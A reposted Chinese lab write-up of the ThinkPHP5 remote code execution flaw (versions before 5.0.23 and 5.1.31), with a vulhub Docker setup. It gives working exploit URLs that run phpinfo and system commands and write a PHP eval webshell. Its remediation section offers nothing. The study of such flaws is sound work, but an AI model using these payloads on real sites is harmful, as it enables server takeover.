栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

【ThinkPHP5 5.0.22/5.1.29 RCE】

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【ThinkPHP5 5.0.22/5.1.29 RCE】

一、漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,因为没有正确处理控制器名,致使在网站没有开启强制路由的状况下(即默认状况下)能够执行任意方法,从而致使远程命令执行漏洞。

二、影响版本
  1. ThinkPHP 5.0系列 < 5.0.23
  2. ThinkPHP 5.1系列 < 5.1.31

三、漏洞环境搭建
  1. cd /vulhub-master/thinkphp/5-rce
  2. docker-compose up -d
  3. 访问192.168.110.134:8080,出现如下界面,即为搭建成功:

四、漏洞利用
  1. 命令执行:产看phpinfo()界面:
/index.php?s=index/thinkapp/invokefunction&function=phpinfo&vars[0]=100

  1. 命令执行,执行系统命令:
/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

五、写入webshell

5.1 手动写入webshell
  1. 写入webshell,命令准备
/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%3F%3E

写入完成之后,会显示这个界面,应该是。

  1. 因为是自己搭建的环境,可以尝试进入docker容器查看文件是否写入:

  1. 访问shell.php

  1. 蚁剑连接webshell

5.2 第三方漏洞利用工具检测
  1. 漏洞检测

  1. 命令执行

  1. getshell

  1. webshell工具连接,同样利用成功。

六、漏洞修复

不知道

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/850262.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号